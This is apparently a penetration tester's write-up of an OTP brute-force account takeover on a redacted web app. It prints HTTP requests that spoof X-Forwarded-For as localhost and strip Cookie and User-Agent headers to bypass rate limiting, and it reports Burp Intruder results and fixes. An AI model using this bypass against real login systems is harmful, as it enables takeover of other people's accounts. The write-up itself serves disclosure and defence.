Intro
Security features are meant to strengthen authentication, but sometimes they do the opposite. Due to a logic flaw, the mechanism intended to enhance security instead functions as a backdoor. As a result, an attacker could compromise any registered account in the application simply by knowing its email address.
The web application implemented several security measures to protect its OTP-based authentication flow. Each OTP was a uniformly random 6‑digit code, and users were limited to three OTP verification attempts per code. After the third incorrect attempt, a new OTP had to be requested. Additionally, new OTP requests were throttled, enforcing a one‑minute cooldown before another code could be issued. In theory, this combination of rate limiting and cooldown logic was meant to prevent brute‑force attacks.
Issue was identified in the application’s OTP-based authentication flow, where weak logic allowed attackers to bypass rate limiting and repeatedly guess OTP codes.
By exploiting the application’s improper handling of the X-Forwarded-For header and its inconsistent rate-limiting logic (requests specified as originating from localhost were not subject to rate limiting.), an attacker was able to launch a high-volume OTP brute-force attack.
The application relied on the Cookie and User-Agent headers to track requests, tying rate-limit decisions to a client-controlled value instead of enforcing logic based on the targeted account.
The web application also enforced IP-based rate limiting, restricting the number of requests allowed from a single source address.
This design normally allows attackers to evade protections by rotating IPs, proxies, or VPNs—but in this case, evasion was even easier: simply removing the Cookie and User-Agent headers and manipulating the X-Forwarded-For header was enough to bypass rate limiting entirely and override source IP address protections.
The following example requests illustrate how the security mechanisms described above were bypassed. The first shows how OTP messages could be triggered without limitation, and the second demonstrates how unrestricted sign‑in attempts were possible.
Step 1 - send OTP:
POST /api/auth/email-otp/send-verification-otp HTTP/2
Host: [redacted]
X-Forwarded-For: localhost
Cookie: (removed)
User-Agent: (removed)
{
"email":"[redacted]",
"type":"sign-in"
}
Step 2 - verify OTP:
POST /api/auth/sign-in/email-otp HTTP/2
Host: [redacted]
X-Forwarded-For: localhost
Cookie: (removed)
User-Agent: (removed)
{
"email":"[redacted]",
"otp":"000000"
}
Combined, these weaknesses allowed the attacker to bypass protections and achieve full account takeover, exposing sensitive user data and administrative functionality.
Vulnerability discovery
Normal authentication workflow
The web application is built on React and Next.js. At the time of our security assessment, the 10/10 React2Shell CVE‑2025‑55182 was yet to be discovered :)

By design, the web application allows users to request a one-time password (OTP) consisting of a 6-digit numeric code. The operation is performed using the following request:
POST /api/auth/email-otp/send-verification-otp HTTP/2
Host: [redacted]
Cookie: [redacted]
Content-Length: 68
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: [redacted]
Accept: /
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted]/sign-in?from=/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{
"email":"[redacted]",
"type":"sign-in"
}
Response from the server:
HTTP/2 200 OK
Content-Type: application/json
Date: Mon, 10 Nov 2025 10:42:35 GMT
Server: railway-edge
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]
{
"success":true
}
During the normal authentication process, the following request is sent to log in using the code received via email:
POST /api/auth/sign-in/email-otp HTTP/2
Host: [redacted]
Cookie: [redacted]
Content-Length: 66
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: [redacted]
Accept: /
Origin: https://[redacted]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted]/sign-in?from=/&email=[redacted]
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{
"email":"[redacted]",
"otp":"185018"
}
The application’s response, indicating a successful login, is shown below. The web application then issues a session token to represent the authenticated user’s identity.
HTTP/2 200 OK
Content-Type: application/json
Date: Mon, 10 Nov 2025 10:30:18 GMT
Server: railway-edge
Set-Cookie: __Secure-better-auth.session_token=Kms[redacted]6IQ%3D; Max-Age=604800; Path=/; HttpOnly; Secure; SameSite=Lax
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]
{
"token":"Kms[redacted]MisZ",
"user":{
"id":"690c[redacted]385",
"email":"[redacted]",
"emailVerified":true,
"name":null,
"image":null,
"createdAt":null,
"updatedAt":"2025-11-10T09:49:23.975Z"
}
}
If the OTP is invalid, the server responds with a 400 Bad Request status and an INVALID_OTP message:
HTTP/2 400 Bad Request
Content-Type: application/json
Date: Mon, 10 Nov 2025 12:58:48 GMT
Server: railway-edge
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]
{
"code":"INVALID_OTP",
"message":"Invalid OTP"
}
After three failed OTP attempts, the server responds with a 403 Forbidden status and a TOO_MANY_ATTEMPTS message:
HTTP/2 403 Forbidden
Content-Type: application/json
Date: Mon, 10 Nov 2025 11:37:06 GMT
Server: railway-edge
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]
{
"code":"TOO_MANY_ATTEMPTS",
"message":"Too many attempts"
}
An attack in action - bypassing rate limiting and brute-forcing the OTP code
An attack involves two simulation steps:
Constant mail sending - /api/auth/email-otp/send-verification-otp API endpoint.
Brute force of OTP access code - /api/auth/sign-in/email-otp API endpoint.
The attack is executed at a ratio of three OTP brute-force attempts per one OTP email request.
Each OTP is a uniformly random 6‑digit code. Under normal conditions, an attacker could legitimately request a new OTP and attempt three guesses per code.
Both actions are performed without effective rate limiting because it was found the web application accepts the X-Forwarded-For header.
By combining the attack cycle with removal of all Cookie headers and other unnecessary headers (such as User-Agent), and by supplying an X-Forwarded-For header with the value set to the application’s hostname or simply “localhost”, rate limiting is completely bypassed.
It was also observed that after several minutes of brute force, OTP email requests occasionally returned 500 Internal Server Error responses while others succeeded, suggesting the presence of partial throttling mechanisms or that the application becomes unstable under high request volume.
POST /api/auth/email-otp/send-verification-otp HTTP/2
Host: [redacted]
X-Forwarded-For: localhost
Content-Length: 68
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: /
Origin: https://[redacted]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted]/sign-in?from=/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{
"email":"[redacted]",
"type":"sign-in"
}
The Cookie and User-Agent headers are removed, and the X-Forwarded-For header is added with the value set to localhost.
POST /api/auth/sign-in/email-otp HTTP/2
Host: [redacted]
X-Forwarded-For: localhost
Content-Length: 66
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: /
Origin: https://[redacted]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{
"email":"[redacted]",
"otp":"000000"
}
After a high volume of traffic was sent using a Burp Suite Intruder attack, the OTP-sending component of the application began generating a large number of error messages, although it still continued to send some emails.

An attacker could log into the administrator account after 1 hour, 21 minutes, 39.9 seconds, following 266,935 failed OTP login attempts and 120,588 OTP email requests.
Although only around 1,500 emails were actually received during the activity, this may indicate that the backend’s OTP logic rotates OTP codes before the user receives the corresponding email.
Successful account takeover:

Recommendations and final notes
To reduce the risk of similar attacks, it is important to:
Ensure that OTP generation, rotation, and validation are robust and independent of headers or client-controlled data.
Apply rate limiting and throttling in a way that reliably enforces per-account protections, rather than relying on cookies or IP addresses that can be spoofed.
Use high-entropy, unpredictable OTP codes and keep their validity periods short to minimize the window for brute-force attacks.
Consider additional security layers, such as multi-factor authentication, especially for administrative or high-privilege accounts.
This case highlights how security mechanisms can inadvertently create vulnerabilities when underlying logic is flawed or overly reliant on client-controlled input. OTP-based authentication, while intended to protect users, can be undermined if rate limiting, delivery logic, or code generation is weak. Proper separation between user identity, request source, and rate-limiting logic is critical.
Ultimately, security mechanisms should be carefully designed and tested to avoid unintentionally becoming attack vectors themselves. Even well-intentioned features, if not implemented correctly, can open the door to account takeovers and compromise sensitive data.





